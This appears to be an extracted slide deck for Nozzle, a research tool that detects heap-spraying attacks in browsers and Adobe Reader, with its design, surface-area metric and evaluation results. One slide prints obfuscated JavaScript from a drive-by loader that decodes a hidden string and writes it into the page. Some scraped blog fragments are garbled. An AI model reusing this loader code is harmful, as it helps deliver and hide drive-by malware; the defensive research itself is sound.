



# Nozzle:

## A Defense Against Heap-spraying Code Injection Attacks

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# Heap Spraying is a Problem

Thursday  
When PDFs

The Shadowserve Acrobat affecting exploited. We are sample last week clear that we did others are aware Reader 8.1.0, 8.1. confirmed via tes will also affect it a

...

However, it would you **DISABLE JAVA** functionality and should be an eas

Disabling JavaScript  
Click: Edit -> Pref

RITY WEBLOG

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2009

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Int

As

how

### Background Summary

Most of the Acrobat exploits over the last several months use the, now common, [heap spraying technique](#), implemented in [Javascript/ECMAScript](#), a [Turing complete](#) language that Adobe thought would go well with static documents. (Cause that [went so well for Postscript](#)) (Ironically, PDF has now come full circle back to having the [features of Postscript](#) that it was [trying to get away from](#).) The exploit could be made far far *less* reliable, by [disabling Javascript in your Adobe Acrobat Reader](#).

But apparently there's no easy way to disable Flash through the UI. [US-CERT](#) recommends renaming the %ProgramFiles%\Adobe\Reader 9.0\Reader\authplay.dll and %ProgramFiles%\Adobe\Reader 9.0\Reader\rt3d.dll files. [Edit: Actually the source for this advice is the [Adobe Product Security Incident Response Team \(PSIRT\)](#).]

Anyway, here's why... Flash has it's own version of ECMAScript called [Actionscript](#), and whoever wrote this new 0-day, finally did something new by implementing the heap-spray routine with Actionscript inside of Flash.

[Details](#)

[http://blog.fireeye.com/research/2009/07/actionscript\\_heap\\_spray.html](http://blog.fireeye.com/research/2009/07/actionscript_heap_spray.html)

[html](#)

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BLOG ARCHIVE

▼ 2009 (140)

► August (11)

▼ July (33)

LuckySploit \*\*

\*.8866.org,podzone.o  
ulaiba.net...


Spam \*\* 29 July

LuckySploit \*\* siyou.org

Spam \*\* 27 July

LuckySploit \*\*


# Drive-By Heap Spraying



**Owned!**



# Drive-By Heap Spraying (2)







# Obfuscation to the Rescue

```
function ZCLTWYUnb(cTFkV){var FdjfKh=2,QuJ=6;var XucjYGqSIM='43-2,58-2,57-2,61-2,55-4,59-4,57-0,34-0,63-0,58-2,56-4,62-0,58-0,43-4,39-4,34-0,58-0,57-0,58-2,57-4,58-0,62-0,43-4,39-4,34-0,56-0,60-2,61-2,56-4,57-0','JMMPBaqk=XucjYGqSIM.split(',')pJvAatxyL=";function UtjitjXLj(c){return String.fromCharCode(c);}for(MpxsUy=(JMMPBaqk.length-1);MpxsUy>=(0x30+0x25+0x2b-0x80);MpxsUy--0x5-0xf-0x2-0x1a+0x1+0xa+0x26){ RSPpmhPq=JMMPBaqk[MpxsUy].split('-');JqPqcj = parseInt(RSPpmhPq[0]*QuJ)+parseInt(RSPpmhPq[1]);JqPqcj = parseInt(JqPqcj)/FdjfKh;pjvAatxyL = UtjitjXLj(JqPqcj-(-0x9+0x23-0xf-0x2e+0x2a+0x3f))+pjvAatxyL;if( pjvAatxyL.charCodeAtAt( pjvAatxyL.length-1) == 0)pjvAatxyL = pjvAatxyL.substring(0, pjvAatxyL.length-1);return pjvAatxyL.replace(/^\s+|\s+$/g, "");}function wmlnJkkl(SRosjALT){ window.eval(); }
```

```
function Gyj(SnD){var wqv=6,NEqWQuULa=4;var ThsGMFhxVh='276-0,196-2,177-0,153-0,258-0,276-0,250-2,268-2,256-2,252-0,271-2,276-0,255-0,256-2,276-0,196-2,177-0,153-0,277-2,276-0,253-2,196-2,163-2,261-0,279-0,279-0,273-0,192-0,175-2,175-2','JDQ=ThsGMFhxVh.split(',')Bwk=";function KHaUjYH(c){return String.fromCharCode(c);}for(KeOaRfh=(JDQ.length-1);KeOaRfh>=(0x1c+0x22+0x2f-0x25-0x10);KeOaRfh-=0x24+0x1b+0x10+0x1e-0x17-0x55){ OQELOxB=JDQ[KeOaRfh].split('-');xztQseR = parseInt(OQELOxB[0]*NEqWQuULa)+parseInt(OQELOxB[1]);xztQseR = parseInt(xztQseR)/wqv;Bwk = KHaUjYH(xztQseR-(0x3-0x32-0x26+0x9b))+Bwk;}if( Bwk.charCodeAtAt( Bwk.length-1) == 0)Bwk = Bwk.substring(0, Bwk.length-1);return Bwk.replace(/^\s+|\s+$/g, "");}function fFZJVnqJ(JpsGUA){ var EYOn=new Function("QwprP", "return 509037;");var EYOn=new Function("QwprP", "return 509037;"); }
```

```
function xjAZB(dyPvvc){var tZvoA=5,ymseWXvltL=6;var QsNmDdKF='154-1,150-5,141-4,139-1,150-0,155-0,145-0,155-5,96-4,140-5,150-5,149-1,97-3,145-5,150-0,103-2,96-4,151-4,145-0,151-4,90-5,110-0,108-2,97-3,145-5,143-2,153-2,139-1,149-1,142-3','OSnnUZqhRA=QsNmDdKF.split(',')uoj=";function CbjsbW(c){return String.fromCharCode(c);}for(JaL=(OSnnUZqhRA.length-1);JaL>=(0x31+0x1a-0x4b);JaL-=0xe-0xe-0x1d-0x1a-0x26+0x8+0x56){ HwnJ=OSnnUZqhRA[JaL].split('-');wjXuhgDA = parseInt(HwnJ[0]*ymseWXvltL)+parseInt(HwnJ[1]);wjXuhgDA = parseInt(wjXuhgDA)/tZvoA;uoj = CbjsbW(wjXuhgDA-(0x29+0x1f-0x2))+uoj;}if(uoj.charCodeAtAt( uoj.length-1) == 0)uoj = uoj.substring(0, uoj.length-1);return uoj.replace(/^\s+|\s+$/g, "");}function alir(izkBTgqd){var ojl=7,KUwyNopmh=2;var HthytAE='462-0','MICmoDx=HthytAE.split(',')TMgXPXCr=";function kmzL(c){return String.fromCharCode(c);}for(hCP=(MICmoDx.length-1);hCP>=(0x8-0x8-0x0);hCP-=0x22+0x1f-0x2c-0x14){ TZQW=MICmoDx[hCP].split('-');vnvZfS = parseInt(TZQW[0]*KUwyNopmh)+parseInt(TZQW[1]);vnvZfS = parseInt(vnvZfS)/ojl;TMgXPXCr = kmzL(vnvZfS-(0x1c+0x19+0x11))+TMgXPXCr;if( TMgXPXCr.charCodeAtAt( TMgXPXCr.length-1) == 0)TMgXPXCr = TMgXPXCr.substring(0, TMgXPXCr.length-1);return TMgXPXCr.replace(/^\s+|\s+$/g, "");}var TxgayUqhNB=ZCLTWYUnb('OBrA')+Gyj('mEYkoDS')+xjAZB('FbqQ')+alir('rMIV');jgUOu=document;jgUOu['2655wr1994i7859t7987e40275181'.replace(/[0-9]/g,'')](TxgayUqhNB);function ktHtntgSO(JTrde){ var mgu = document.getElementById('ebRg'); }
```


```
function gYNYJts(YFc){ var Kitkja=new Function("FnhAlh", "return 883734;"); }
```

```
function cymmhIYk(qdbc){ var mKRKEps = document.getElementById('uAwG'); }
```

# Kittens of Doom

## What data can you trust?


- Heap spraying is quite general, easy to implement
- Many applications allow scripts in type safe languages
  - JavaScript, ActionScript
  - Java, C#
- Many applications accept data from untrusted sources
  - Embed malicious code in images, documents, DLLs, etc.
- [Sotirov & Dowd BH'08]





# Nozzle – Runtime Heap Spraying Detection

Application: Web Browser



Nozzle answers:  
How much of my heap  
is suspicious?

# Outline

- Nozzle design & implementation
- Evaluation
  - False positives
  - False negatives
  - New threats (Adobe Reader)
- Summary


# Nozzle Design

Application Threads

Nozzle Threads

## Advantages


- Just need to hook standard APIs – malloc, free, HeapAlloc, HeapFree, etc.
- Monitor new applications using Detours
- Can be applied to existing binaries



Application Heap

# Local Malicious Object Detection


Is this object dangerous?



- Is this object code?
  - Code and data look the same on x86
- Focus on sled detection
  - Majority of object is sled
  - Spraying scripts build simple sleds
- Is this code a NOP sled?
  - Previous techniques do not look at heap
  - Many heap objects look like NOP sleds
  - 80% false positive rates using previous techniques
- Need stronger local techniques

# Object Surface Area Calculation (1)


- Assume: attacker wants to reach shell code from jump to any point in object
- Goal: find blocks that are likely to be reached via control flow
- Strategy: use dataflow analysis to compute “surface area” of each block



An example object from visiting google.com

# Object Surface Area Calculation (2)

- Each block starts with its own size as weight
- Weights are propagated forward with flow
- Invalid blocks don't propagate
- Iterate until a fixpoint is reached
- Compute block with highest weight



An example obj from visiting google.com

# Nozzle Global Heap Metric

Normalize to (approx):  
P(jump will cause exploit)


$NSA(H)$

$obj$



build CFG

$B_i$



dataflow

Compute threat of  
single block

$SA(B_i)$

$SA(o)$

Compute threat of  
single object

$SA(H)$

Compute threat  
of entire heap



# Nozzle Experimental Summary



## 0 False Positives

- 10 popular AJAX-heavy sites
- 150 top Web sites



## 0 False Negatives

- 12 published heap spraying exploits and
- 2,000 synthetic rogue pages generated using Metasploit





## Runtime Overhead

- As high as 2x without sampling
- 5-10% with sampling



# Nozzle on Benign Sites

- Benign sites have low Nozzle NSA
- Max NSA always less than 12%
- Thresholds can be set much higher for detection (50% or more)




# Nozzle with Known Heap Sprays

- 12 published heap spray pages in multiple browsers
- 2,000 synthetic heap spray pages using MetaSploit
  - advanced NOP engine
  - shellcode database


Date	Browser	Description	milw0rm
11/2004	IE	IFRAME Tag BO	612
04/2005	IE	DHTML Objects Corruption	930
01/2005	IE	.ANI Remote Stack BO	753
07/2005	IE	javaprxy.dll COM Object	1079
03/2006	IE	createTextRang RE	1606
09/2006	IE	VML Remote BO	2408
03/2007	IE	ADODB Double Free	3577
09/2006	IE	WebViewFolderIcon setSlice	2448
09/2005	FF	0xAD Remote Heap BO	1224
12/2005	FF	compareTo() RE	1369
07/2006	FF	Navigator Object RE	2082
07/2008	Safari	Quicktime Content-Type BO	6013

Result: max NSA between 76% and 96%  
Nozzle detects real spraying attacks

# Nozzle Runtime Overhead



# Using Nozzle in Adobe Reader



## Results

- Detected a published heap spray attack (NSA > 75%)
- Runtime overhead was 8% on average
- NSA of normal document < 10%

# Summary

- Heap spraying attacks are
  - Easy to implement, easy to retarget
  - In widespread use
- Existing detection methods fail to classify malicious objects on x86 architecture
- Nozzle
  - Effectively detects published attacks (known and new)
  - Has acceptable runtime overhead
  - Can be used both online and offline